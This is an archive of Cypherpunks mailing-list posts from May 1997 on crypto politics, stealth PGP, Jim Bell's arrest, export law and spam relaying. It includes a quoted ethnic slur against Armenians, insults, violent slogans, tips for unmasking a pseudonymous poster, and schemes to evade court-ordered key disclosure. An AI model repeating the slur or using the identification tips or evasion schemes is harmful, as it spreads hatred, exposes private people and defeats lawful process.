> ARyWA/9P1UVMvBAGXY488f/Nvs1CZnp/a0SNxELXfpMyJz/Vdd2RuahRYoc50Cbp
> F1/QOd4PZeEW2aNT/shxfm3Q9zpxGzyFgy//tEXdw2aedzdT4oMOgDBqMrzc2LfN
> 8zWqF5cWJLASIqwbrIkmyZR6LUCxmE79WmgRlQGAHfMwwC3WLYkAlQMFEDOCfw+w
> X4yQZvuMZQEBhuYEAJW2pN2aj1m7972GkQvUVBeenWrMqKXNyHF/73+YGZsLLo79
> ApWR1ROm2RgxXJQeHSrUolXhxpkjHe9DJ5GwrsV7m97HfwvM32Vw/32U4T1jyeez
> VvBqJQ417UxxYS2QSQZIyLcVojFEJvh/kQ2NFXwTPJ1BscPn4/KnT6DD0u5ciQCV
> AwUQM4J+6pfboLn8NWjNAQGTigQAnrFZ8OiAguWqi1LsClKo0t9y+Ly98EPnpBt2
> FgQN9/Z8PSZjPqEn9AJk7Z5TBhGJNXBmkULiuNA9zvGTsRM0S7Oi6/WFUcL9rio6
> gMsxTnDythGaFa5YDQXgXtFxqcjsojGhe922KFnVi4xxatO9vm9Zo3JaNAK8zvg2
> rIrd7VQ=
> =MuiR
> -----END PGP PUBLIC KEY BLOCK-----






From sunder at brainlink.com  Wed May 21 08:38:02 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 21 May 1997 23:38:02 +0800
Subject: Controversial Commercial ISP for Remailer?
In-Reply-To: 
Message-ID: 


On Tue, 6 May 1997, Dr.Dimitri Vulis KOTM wrote:

> > Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> > and deletes all files there? Would it also be inconsistent, in your
> > view?
> 
> It certainly would be consistent with other terrorist acts perpetrated
> by Armenian criminals off and on the net - such as the genocide of
> the 2 million Moslems and Sephardic Jews in this century alone.
> 
> I am not surprised that Arachelian's employer, Earthweb, condones his
> spamming.  They sound like a thoroughly corrupt and criminal organization,
> since they even employ Arachelian as a network administrator.

1. What spamming?  All this was hypothetical.

2. What I do from my accounts is my business and not Earthweb's.

3. The only criminal character that has spammed here is you - see all the 
"Timmy May" messages, the "news" messages of 100K+, all the spambots 
you've writen and posted here, and your flame wars.

If anyone doubts this, they need to do a net search on the word "Vulis" 
to see your lovely work.   Crawl back under your rock, you're boring us.

If you can't come up with anything entertaining like you used to, don't 
bother.  You're repeating yourself like the broken KGB mouthpiece that 
you are.  To quote Monty Python "I fart in your general direction.  Your 
mother was a hamster, and your father smelt of elderberries."

Now, either shut up, or do something worthy of your KOTM label.  Yeah, 
and that is a challenge - incase you're too stupid to figure it out.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From abose at tc.cac.edu.eg  Wed May 21 09:07:58 1997
From: abose at tc.cac.edu.eg (Bose)
Date: Thu, 22 May 1997 00:07:58 +0800
Subject: Mailing List
Message-ID: <1347881886-2060089@tc.cac.edu.eg>


Put me on your mailing list, please.






From zahn at berlin.snafu.de  Wed May 21 09:15:43 1997
From: zahn at berlin.snafu.de (Steffen Zahn)
Date: Thu, 22 May 1997 00:15:43 +0800
Subject: encryption laws
Message-ID: <199705211558.RAA03639@n246-140.berlin.snafu.de>


On Thu, 15 Jul 1993, Allan Thompson wrote:

>         Would it be possible for a court to subpeona a encrypted file or key,
> and order you to tell them the key ?
> If you didn't would you be held in 'contempt of court' ?

How about claiming that you used a OTP and then revealing the key?
Or should I say a key?

Regards
  Steffen

-- 
home email:  domain: berlin.snafu.de, user: zahn
To send email to me combine user at domain above to construct my address.
Use of my address for unsolicited commercial advertising is forbidden.






From kent at songbird.com  Wed May 21 09:38:34 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 22 May 1997 00:38:34 +0800
Subject: Wine Politics Again!
In-Reply-To: 
Message-ID: <19970521092223.04748@bywater.songbird.com>


On Wed, May 21, 1997 at 12:50:02AM -0700, Bill Stewart wrote:
> At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
[...]
> > "Power corrupts..." isn't a property of governments, 
> > it is a property of individual human beings.
> 
> Mostly.  But you're presumably advocating government by humans.

Strictly speaking, I don't advocate government.  Rather, I think that
government is innate to the human species.  Chimpanzees and Baboons
have a political/social power hierarchy -- it's ubiquitious among
higher primates.  In fact, it's common among a great many different
kinds of animals.  Humanity has a much more complex and evolved power
hierarchy, to be sure, but the same fundamental psychological
motivation -- a "will to power", if you will -- is present.

> And while government is an abstraction of the activities of a 
> lot of individual humans, governments do tend to accumulate
> and abuse power, and tend to reach a point where they're more
> interested in maintaining and increasing that power than in

Yes, that tendency does seem to exist.  There's an analogy to
gravity organizing matter in clumps -- each individual bit of matter
contributes to the overall effect; each individual human being 
contributes their bit of power hunger to the mix.

> any legitimate activities like protecting life, liberty, and property.

Who decides what are legitimate activities for government? Either the
"elite" or the "sheeple", or some combination thereof? Strictly
speaking, I think the "legitimate activities for government" is
meaningless -- ultimately governments *always* define their own
legitimacy.  To precisely the extent that you are able to effectively
discuss the "legitimate activities of government" you are in fact
participating in the power struggle, which means you are part of the
real government (just a small faction perhaps...)

Note that the cryptoanarchy electronic money agenda is just another
power play that uses privacy rhetoric as a smokescreen for it's real 
purpose, namely, empowering an elite.  Money, after all, is a 
powerful weapon.

> Consider the drug war, the military-industrial complex,
> the fraction of your income that's paying for government,
> and compare that with 200 years ago...

The drug war is an expression of collective idiocy, IMO -- one of
many.  The military-industrial complex is a good, concrete example
that government and society are inseperable.  The point about the
fraction of my tax dollars -- the fact of the matter is that we are
all *much* better off than we would have been 200 years ago, that
society as a whole is more productive, and as indivuals we get far
more back from the society/government we live in than we could ever
possibly contribute.  "The System" as a whole could be more efficient,
certainly, but it's hard to make meaningful comparisons with things
200 years ago. 

> Also power _attracts_ the corrupt, and the corruptible.
> As Henry the K said, it's the ultimate aphrodisiac.

Which is obvious, if you look at the primate origins.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From tcmay at got.net  Wed May 21 09:48:59 1997
From: tcmay at got.net (Tim May)
Date: Thu, 22 May 1997 00:48:59 +0800
Subject: Stealth PGP and OTPs for Plausible Deniability
In-Reply-To: <199705211558.RAA03639@n246-140.berlin.snafu.de>
Message-ID: 


At 7:58 AM -0800 5/21/97, Steffen Zahn wrote:
>On Thu, 15 Jul 1993, Allan Thompson wrote:
>
>>         Would it be possible for a court to subpeona a encrypted file or
>>key,
>> and order you to tell them the key ?
>> If you didn't would you be held in 'contempt of court' ?
>
>How about claiming that you used a OTP and then revealing the key?
>Or should I say a key?
>

Making a claim and having it be plausible are entirely different things. In
the case of PGP, or S/MIME, or whatever, the form is entirely different
from what a one time pad would generate.

A so-called "stealth" form of PGP (etc.), which would not contain headers
or other indications of it being PGP, version, etc., would be a better
candidate for this.

(Efforts to build such stealth versions have languished...I spoke to some
PGP, Incorporated folks at a recent Cypherpunks meeting about this, and
they confirmed that this is a very low, or even negative priority. As their
mission is now to meet corporate needs, and to get generate sales to
government agencies, and to work with Key Recovery and Children's Security
Alliance, introducing a "plausible deniability" version of PGP is not
desirable for them.)

A stealth version that automatically generated a "pad" that was innocuous
would be easy enough to write. Just XOR the stealthed PGP block with
something like "I'm thinking of travelling to Germany this summer...any
ideas about what I should see? blah blah blah"

Then any search warrant turns up the XORed version (the pad), which when
XORed with the message the authorities want to decrypt yields the innocuous
message above.

Probably any stealthy versions of PGP or S/MIME would best be handled
outside of PGP or other vendors...just modify their source code and
distribute the stealthy versions.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From hal at rain.org  Wed May 21 10:38:55 1997
From: hal at rain.org (Hal Finney)
Date: Thu, 22 May 1997 01:38:55 +0800
Subject: Why I think Jim Bell is getting railroaded
Message-ID: <199705211624.JAA00456@crypt.hfinney.com>


>From what I have read, the elements of the conspiracy offence are a
plan to commit a crime involving multiple individuals, and at least one
overt act taken in furtherance of the plan.  For example, if people get
together and plan a kidnapping, then one member goes out and buys some
rope, that could be enough to represent conspiracy to commit kidnapping.
You don't actually have to do the kidnapping to be convicted on conspiracy.

If Bell got together with his friend and talked about disabling government
computers with "carbon fibers" (whatever those are), and he then goes
out and buys a source of carbon fibers, a case could be made that this
would represent the crime of conspiracy.  (We don't know yet whether either
of these thing actually happened, of course.)

Now his lawyer can argue that the conversation was purely hypothetical
speculation of the type which technically minded people commonly engage
in, and the carbon fiber source (if it exists) was acquired out of
curiosity based on the discussion.  Then it would be up to the jury
to decide whether Bell's actions actually were part of a planned crime
or not.

In this context his writings and hostile relations with government
agencies could conceivably be used against him, if his lawyer did try
to argue that his conversations were just innocent speculation.

Hal






From 0005514706 at mcimail.com  Wed May 21 10:47:10 1997
From: 0005514706 at mcimail.com (Michael Wilson)
Date: Thu, 22 May 1997 01:47:10 +0800
Subject: Cypherpunk criminalization
Message-ID: <97052117355649/0005514706DC6EM@mcimail.com>


The occasion of Jim Bell's arrest provides an opportunity to consider
a number of points:

Are Federal Agents Evil?
Why is there an attempt to persecute Jim Bell, one that has many
similarities to the Olympic Park Bombing rush-to-judgment, Ruby
Ridge, Waco, OK City, etc.?  Are we to believe that government
agents are 'evil,' or True Believers that _we_ (those who are _not_
true believers) are evil?  I personally think not.  I think we are
seeing a phenomenon that is rather simple--government agents will tend
to pursue cases that may get them recognition or promotion.  People
like Jim Bell pass some mobile threshold where their case is media
'hot' or sexy enough to make it worth pursuing--the Feds get a collar
and media attention, a prosecutor gets similar benefits, judges are
notoriously easy to inflame for the proper paperwork to be obtained,
etc.  Are the rest of the cypherpunks at risk?  Looking at it with
my game theorist hat on, I suspect not--while Tim May has been
pushing the envelope recently, I don't think he's crossed any line
would allow the appearance of a 'good bust,' nor has anyone else on
the list (to my direct knowledge).  I think we're witnessing a bit
of the same mentality that literally did allow the operation of the
Nazis--they're just doing their job, just following orders, just
being part of their bureaucracy, with perhaps a few True Believers
to leaven the mix.

Technology vs. Public Relations/Propaganda
Cypherpunks write code, we hear it often enough as the credo of the
'movement.'  On the other hand, as valuable a social service as it
actually has been, the war is being fought on other terms.  Crypto
has been characterized as 'offensive' technology, in two senses of
the term--a regulated weapons technology, and a socially unacceptable
act.  This manifests in the 'what have you got to hide' mentality,
coupled with the trotting out of the Four+ Horsemen.  We're losing this
part of the war, and the cutting of more code isn't going to help us
one bit.  We need to turn the public perception around.  What we're
seeing in this case is a rather rapid erosion of the legal principles
of an expectation of privacy (I won't engage in the rather lengthy
discussion of this, but I recommend the interested parties do take
the time to read in a good law library, or hunt down the materials on
the Bork nomination to the Supreme Court).  We've become a society
that is expected to publicly air our dirty laundry, to march onto a
television talk-show and expose our faults, foibles, and felonies.
We need to fight back in ways that communicate to Joe Sixpack, also
known as the Common Man--we all have secrets, we all have things we
don't want people to know.  Build the database!  Get the testimonials!

Let me briefly mention some of the sorts of need for privacy, secrecy,
anonymity that are socially acceptable, and which we need to use to
reinforce our own message:
--AIDS testing;
--Illness diagnosis, such as cancer;
--Financial information: credit card numbers, bank balances, net worth;
--Dropping the dime on crime: mob witnesses, corporations, your noisy
neighbor who abuses their kids but owns a shotgun;
--Donations to needy causes, but not wanting everyone to have their
hand out;
--Personal habits: alcoholism, drug use, gambling addiction, sexual
preferences;
--Common law privileges: confessional, physician or attorney relation
to their client.

In short, we all have things we want to remain secret, and we certainly
don't want them to be 'exposed,' or to fall into the wrong hands. We
need to take the issue back from the criminalization of having secrets
to a place where crypto is viewed as a defensive technology--we're
entitled to it, and our privacy.

Crypto vs. the Government
This is the biggest area of contention.  The cypherpunk case is that
strong, unescrowed cryptography is essential--we have no reason to
assume that government is our friend (pull out the file of long-term
government abuses here, from using the IRS to pursue political
targets to the mail-opening programs of the FBI/CIA), and more to the
point, this isn't a 'local' issue that is categorized by a singular
stance on the part of the U.S. government.  The cryptosystems we
build and promote are used in places where they protect human rights
workers, economic security and competitiveness, privacy, etc.  The
Internet and the tools are global, so we're on a battlefield that also
includes:
-Europe, including the Former Soviet Republics and Bosnia, where strong
crypto is critical for freedom-loving movements;
-Asia, where users of strong crypto use it to prevent competitive
intelligence or organized espionage programs from impacting on their
business, in particular, from actions of those U.S. 'allies' Japan,
Korea, China;
-the Middle East, where strong crypto protects human rights workers,
businesses, and individuals who have an un-Islamic taste for things
like pornography, or news; see 'rogue' States like Iran, but also
U.S. 'allies' like Saudi Arabia, Egypt, Israel, Kuwait, etc.

And the global battle means that we have to set an example, allow access,
and fight those efforts on our own turf (does anyone really think that
Asian or European competitive intelligence or espionage efforts don't
also take place on American soil?).

The U.S. government has made good use of the insinuation that if we
have things to hide, then in a free and open democracy, we must be
actively engaged in criminal activity.  Certainly, strong cryptography
of many sorts is being used to protect criminal activity.  It is also
a principle upon which the American system is based that you don't
deprive the rights and freedom of the majority, those who have not
committed any crime, merely in an effort to pursue the felonious.
This is why you still need a properly executed warrant to search an
area which has an expectation of privacy (which _is_ being slowly
eroded as a legal principle, which we need to point out as a trend).
As Tim May likes to point out, there are an increasing number of laws
that individuals can be pursued under, with ever more general levels
of interpretation.  Convictions make convicts.  Bureaucracies tend
to grow, seeking more power for themselves, until 'that which is not
compulsory is illegal, and that which is not illegal is compulsory.'
Students of history are well aware of what comes next in the cycle--
revolution.  My only observation on this is that America has always
been willing to speed through trend curves, and it looks like she is
flooring the accelerator in this case--from growing State, to global
Power, to dying Empire.  Think of it like an organic system, and
like any entity, it reacts poorly to what it rightly views as being
a threat to its own survival--cypherpunks among many.

Sign me:
A Man With Many Secrets and Much to Hide
Michael Wilson
5514706 at mcimail.com






From whgiii at amaranth.com  Wed May 21 10:51:06 1997
From: whgiii at amaranth.com (Willaim H. Geiger III)
Date: Thu, 22 May 1997 01:51:06 +0800
Subject: Stealth PGP and OTPs for Plausible Deniability
In-Reply-To: 
Message-ID: <199705211734.MAA31792@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on 05/21/97 
   at 11:38 AM, Tim May  said:

>At 7:58 AM -0800 5/21/97, Steffen Zahn wrote:
>>On Thu, 15 Jul 1993, Allan Thompson wrote:
>>
>>>         Would it be possible for a court to subpeona a encrypted file or
>>>key,
>>> and order you to tell them the key ?
>>> If you didn't would you be held in 'contempt of court' ?
>>
>>How about claiming that you used a OTP and then revealing the key?
>>Or should I say a key?
>>

>Making a claim and having it be plausible are entirely different things.
>In the case of PGP, or S/MIME, or whatever, the form is entirely
>different from what a one time pad would generate.

>A so-called "stealth" form of PGP (etc.), which would not contain headers
>or other indications of it being PGP, version, etc., would be a better
>candidate for this.

>(Efforts to build such stealth versions have languished...I spoke to some
>PGP, Incorporated folks at a recent Cypherpunks meeting about this, and
>they confirmed that this is a very low, or even negative priority. As
>their mission is now to meet corporate needs, and to get generate sales
>to government agencies, and to work with Key Recovery and Children's
>Security Alliance, introducing a "plausible deniability" version of PGP
>is not desirable for them.)

>A stealth version that automatically generated a "pad" that was innocuous
>would be easy enough to write. Just XOR the stealthed PGP block with
>something like "I'm thinking of travelling to Germany this summer...any
>ideas about what I should see? blah blah blah"

>Then any search warrant turns up the XORed version (the pad), which when
>XORed with the message the authorities want to decrypt yields the
>innocuous message above.

>Probably any stealthy versions of PGP or S/MIME would best be handled
>outside of PGP or other vendors...just modify their source code and
>distribute the stealthy versions.


This was part of the basis for my proposal for a crypto-dongel. Instant
destruction of ones private key any time any place. When the judge
requests your key and all legal challenges to the request have been
exausted you merly have your lawer give the judge the distroyed key. "what
your honor when was the key distroyed? well right after I saw a large
group of men in ski masks & M16's trying to kick in my door ...." :))


"The tree of liberty must periodically be feed with the blood of tyrants
and patriots."

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: PATH=C:\DOS;C:\DOS\RUN;C:\WIN\CRASH\DOS;C:\ME\DEL\WIN

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM4NARo9Co1n+aLhhAQE1IAP+I+Ppudj6zcJIJAWNn3dcK9DWfJHEb79a
64z3Tce79HW9Z58NKvCbuXT0typKt7sODKHI1M49hSn+Hc+eOzo5lV8FnYvmD0AW
IHQpb6uz0hjJgugajnz2ZSC5LsXtLhUvPuH6ZRlHg6Rwu36F6ZBNz/72T06+DJ64
WZunk8YFc58=
=PCIp
-----END PGP SIGNATURE-----






From news at WEBSTER2.ffg.com  Wed May 21 11:02:42 1997
From: news at WEBSTER2.ffg.com (news at WEBSTER2.ffg.com)
Date: Thu, 22 May 1997 02:02:42 +0800
Subject: News from the Front II
Message-ID: 


An update to our customers and friends on happenings at 
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From aba at dcs.ex.ac.uk  Wed May 21 11:19:52 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 22 May 1997 02:19:52 +0800
Subject: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <199705211739.SAA01823@server.test.net>



Bill Stewart  writes:
> At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> 	[rant deleted - bill]
> >Speaking of power corrupting, notice how the power to speak 
> >anonymously has destroyed this poor souls brain.

Kent, I think you would find that Attila would be perfectly happy to
include his map coordinates, phone number, full name and address and
repeat his views to you, or to repeat them to your face, aside from
the privacy considerations.

> Attila's not anonymous - he's a regular poster, and has been
> for long enough to build up some reputation around his penname.

I'm not sure how anonymous Attila is in total.  He made a comment on
this with regard to Black Unicorn's anonymity a short while back.  I'm not
sure he's trying to hide his identity to that great a degree beyond
using a nick name that some folks gave him years back.  There are
several things which would help you track details down... he has
regularly discussed his local mormon community, the location in which
he lives, and his own domain "hun.org", his position within the local
mormon church, his big bore 'bike, physical appearance (300lb gorilla
I think is his own description), nationality, qualifications, military
service details, etc.  A whois on hun.org would likely get you his
phone number, or someone who would know his phone number.  His
primenet account would probably similarly get you info.  Unless he
uses aliases in real life also, and unless the details he has given us
over the years are not true.  (I haven't met him, though I think
others have).

In short I believe you picked on the wrong guy if you considered
Attila an example of someone with lots to say when hiding behind
strong anonymity.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199705211722.SAA01807@server.test.net>



Bill Stewart  writes:
> At 11:44 AM 5/18/97 +0100, Adam Back wrote:
> >> I don`t recall what the situation is in the US, is it the case that
> >> the provider of the information is guilty of export, or the person
> >> that actually downloads it, if it is available via anonymous FTP???
> 
> >The downloader by definition is restricted by his own national laws
> >not by US laws.  US attempted world policeman attitude does not mean
> >that US laws apply outside the US, particularly not to non-US citizens
> >outside the US.
> 
> They may apply to you anyway

I was arguing that US laws do not apply to me living outside the US.
The US courts/government may claim otherwise but this does not alter
that fact.

Where international agreements have been agreed the laws become part
of the legal framework of the agreeing countries.

Extradition is another method, but people normally only get extradited
from their own country if they commit a crime against a citizen of the
extraditing country.

And finally kidnap, the fact that this is an extra-legal process does
not bother the US.  (In fact they even declare it legal if they
consider it appropriate, as I understand it.)

> - they're not very enforceable if you're outside US territory,
> though if you try to visit the US once they've pegged you as a
> crypto-terrorist aider-and-abetter of drug smugglers, money
> launderers, child pornographers, and Commies, they could give you a
> hard time.  Just because you haven't been caught YET doesn't make
> you innocent :-)

For the sake of argument if I were detained at a US airport, or
kidnapped and taken to the US, and further was found to be "guilty" as
defined by US law, I would not be guilty, and I would hope that my
country would attempt to intervene.

The reality of all this is strained however because, a) they wouldn't
extradite someone, nor kidnap them for this, b) they wouldn't detain
me if I entered the US (I did last year with no ill effects), c) I am
having difficulty imagining what it is they could legitimately charge
me with, even by US standards of legitmacy with regard to crypto
export.  I attempted to _import_ a piece of software into the UK, no
crime there.

> Remember the Canadian author / Disney hero Farley Mowat?  
> He once got annoyed enough at the US military for flying nuclear-armed
> bombers over Canada that he shot at some as they crossed the border.
> Sure, his .22 caliber rifle wasn't going to hit a plane at 30,000 feet,
> and he was just making a political statement by it, but he was
> banned from the US for years.

I suspect it would be dodgy shooting at military aircraft in Canada
also.  In the UK, and most of EU (with the exclusion of France), we
can export electronically (on the web etc) to our hearts content.  The
situation with tangible exports, at least in the UK, is different.  I
understand you need a license to export tangibly.  I was unaware of
this at the time I started exporing T-shirts, but I'm aware of it now,
and have no particular intention of ceasing to export T-shirts.  If
they want to do something about it and make a media spectacle of
themselves, they're most welcome to try :-)

Actually I took a couple of my munitions T-shirts with me when I went
to the US last year, and bought them back out with me.  I was wearing
one of them (under another garment) through the airport as I left.
Again if the US would like to try something, the next time I'm there
they are welcome to try.

Unfortunately perhaps it appears, at least according to Peter Junger
that the T-shirts are probably OK now under the EAR regulations being
printed material, whilst I think he held that they would be
technically a violation under ITAR.  ITAR was the active regulation at
the time.

> >Self appointed world policemen are fooling themselves if they think
> >they have any control over bit flow.
> 
> As long as it keeps Americans from using strong crypto on an 
> everyday basis, for everything, and from taking the attitude that
> their privacy is their own business, it's working.
> Doesn't matter if a few foreign spies can talk to each other.

True enough.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199705211812.NAA32382@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <19970521092223.04748 at bywater.songbird.com>, on 05/21/97 
   at 10:22 AM, Kent Crispin  said:

>Who decides what are legitimate activities for government? Either the
>"elite" or the "sheeple", or some combination thereof? Strictly speaking,
>I think the "legitimate activities for government" is meaningless --
>ultimately governments *always* define their own legitimacy.  To
>precisely the extent that you are able to effectively discuss the
>"legitimate activities of government" you are in fact participating in
>the power struggle, which means you are part of the real government (just
>a small faction perhaps...)

It is very simple as to what the legitimate activities of the government
is. It is explicitly spelled out in The Constitution of The United States.
It states quite clearly in no uncertain terms what the federal government
can and can not do. Unfortunately people like yourself and the majority of
politicians feel that they can wipe their ass with this document whenever
it suits their needs.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: To whom the gods destroy, they first teach Windows...

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From tcmay at got.net  Wed May 21 11:58:03 1997
From: tcmay at got.net (Tim May)
Date: Thu, 22 May 1997 02:58:03 +0800
Subject: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: 





At 9:35 AM -0800 5/21/97, Michael Wilson wrote:
>The occasion of Jim Bell's arrest provides an opportunity to consider
>a number of points:
>
>Are Federal Agents Evil?
>Why is there an attempt to persecute Jim Bell, one that has many
>similarities to the Olympic Park Bombing rush-to-judgment, Ruby
>Ridge, Waco, OK City, etc.?  Are we to believe that government
>agents are 'evil,' or True Believers that _we_ (those who are _not_
>true believers) are evil?  I personally think not.  I think we are

I almost never think government agents, even most rulers, are in any
meaningful sense "evil."

I've written in the past about "institutional" issues, and about
Nietzsche's "Beyond Good and Evil." The problems in the United States, with
bloated welfare roles, a "policeman for the world" mentality, an overly
litigous/litigious society, etc., come not from any personal evil on the
part of the elected or appointed officials, but rather from an inexorable
growth of certain institutions in predictable ways. Any enity, be it an
organism or an institution, a living plant like a tree or a corporation
like PGP, Inc., grows and thrives by how well it competes, how well it
bends toward the sources of food and energy, and what genes or memes it
received. "The purpose of any organism is to survive" is a telelogical
truism, of course. But it is still true. All institutions--corporations,
clubs, Cypherpunks--seek to prosper and grow, in various ways. Even if not
directed by a central nervous system.

In corporations, even individual departments seek to grow. This aids in
career advancement. "Empire building" happens with countries, government
bureaucracies, corporations, clubs, and so on.

There are perfectlylogical game-theoretic reasons why the Washington
bureaucracy has gotten so large, why every one of the 500+ Congresscritters
has a staff of dozens working for him or her, why each of the dozen or so
major Cabinet departments has dozens of buildings and thousands (even
millions, as with DoD) of worker bees, why each entity in government seeks
constantly to expand its scope and powers, and why the number of rules,
regulations, laws, emergency orders, and edicts expands inexorably every
day.

"Evil" is not a useful way to analyze this problem. In this sense, everyone
in government is an "innocent." But the problem still needs to be fixed.

And in fixing these institutions it is unavoidable that "non-evil" persons
will be affected. How could it be otherwise? Some will lose their careers,
some their current jobs, some may even lose their lives. (No, this is not a
threat, just a statement of the obvious, a prediction.)

Innocents in Washington and elsewhere will, if they have any sense of their
own future security, seek to avoid the institutions and power centers which
will be affected by the necessary restructurings.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jad at dsddhc.com  Wed May 21 12:58:58 1997
From: jad at dsddhc.com (John Deters)
Date: Thu, 22 May 1997 03:58:58 +0800
Subject: Spam IS Free Speech
In-Reply-To: <199705150640.XAA07531@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970521144153.00ac47e0@labg30>


At 05:51 PM 5/15/97 +0000, Paul Bradley  wrote:
>> > > You can not retaliate against free
>> > > speech, Rick.  That's a bad thing, plain and simple, black and
>> > > white.
>
>Retaliation by force against speech is wrong, more speech is not 
>unethical. It might be unpleasant, but not wrong.
>
>> No shit, you just can't send 10,000 megs of info in retaliation for a 
>> few bits.  Really, there's no call for that.  It's wrong. 
>
>To make a brief analogy: Say you are a market researcher, and you 
>approach me in the street and ask for some time to answer your questions, 
>I do not commit any ethical wrongdoing if I stand there and scream at you 
>for several minutes. If I physically attack you I commit a crime. 
>
>All internet traffic is speech, including syn-ack flood attacks and any 
>other denial of service attempt. This is plain and simple, we have to 
>find technological means of thwarting these attacks, they are not 
>unethical, unpleasant yes, immoral no. 

In the case of shrieking at the researcher, the researcher can simply walk
away.  In the case of a network connection, the ISP cannot simply unplug.

>> >   It costs me money to download unwanted spam. What's this "free"
>> > bullshit?
>> 
>> What?  Like 80 cents per gig?  Please a bit here and a byte there 
>> isn't going to break anyone.  Could someone do the math?
>
>I won`t do the math but the point is it "costs" you energy to listen to 
>someone speaking in the street, sure, it is a very small amount, but it 
>does cost energy from a strict biological point of view.
>This does not lead me to believe any crime is commited by someone 
>speaking to, or at me.

No, spam DOES cost the victim.  I'm not saying that the victim is the spam
recipient.  Think of the ISPs that are the victims of Spamford's
CyberPromotions.  Yes, victims.  Their entire businesses consist of keeping
wires from one side of routers connected to the internet while the wires on
the other side attach to modems and a handful of host computers to serve
mail, news, etc.  When Spamford sends out his 15000 messages, he is denying
the ISPs the bandwidth, CPU and disk storage they are paying for.  By
filling the ISP's drives, he is also denying every customer of those ISPs
from receiving incoming email.

Here's Spamford's M.O., to those of you unfamiliar with how CyberPromo
Makes Money Fast:

1.  Advertise to people that they can send out bulk e-mail for a fixed cost.

2.  Ethically-challenged persons who dream of Making Money Fast draft their
Ponzi schemes, and send them, along with a certain amount of very
non-refundable money, to CyberPromo.

3.  CyberPromo sends out the spam by routing it through sendmail demons
running on other peoples' (the victims') machines.

4.  The complaints and threats of lawsuits land squarely on the shoulders
of the persons unfortunate enough to be running the sendmails.  It is,
after all, their machine which is the origin of the spam.  Just look in the
headers.

5.  The original ethically-challenged persons never see responses to their
original paid-for spam; CyberPromo knows this from the get-go but certainly
won't inform the spammers of this.

6.  When confronted with evidence of the Ponzi schemes by the sendmail
operator, Mr. Wallace replies: "Shame on those nasty users, I'll terminate
their accounts."

7.  Spamford continues to route other spam through the hapless sendmail
operators -- his dozens of registered domains make it extremely tough to
prevent source blocking.

8.  The FBI comes to visit the victimized sendmail operator, investigating
*them* for running pyramid scams.

This situation is the exact situation that has entangled my ISP for the
last couple of months.

Are you telling me that being subjected to a jack-boot investigation for
running pyramid schemes *and* having your customers leave because they
can't get mail services is a reasonable expense to bear because of
Spamford's "right to free speech"?  Spamford's speech (or that of his
"customers") isn't even directed at the sendmail operator or his customers.
 The sendmail operator above is merely being used by Spamford as a
megaphone to broadcast the message of spam to other people (who really
don't want it, either, but that's beside the point.)

It's no longer the same as shouting down the marketing researcher.  

What Spamford has done is to see me walking down the sidewalk carrying a
megaphone, and grab me and tell me that I must stand there and hold my
megaphone in front of some spammer's mouth while the spammer shouts at a
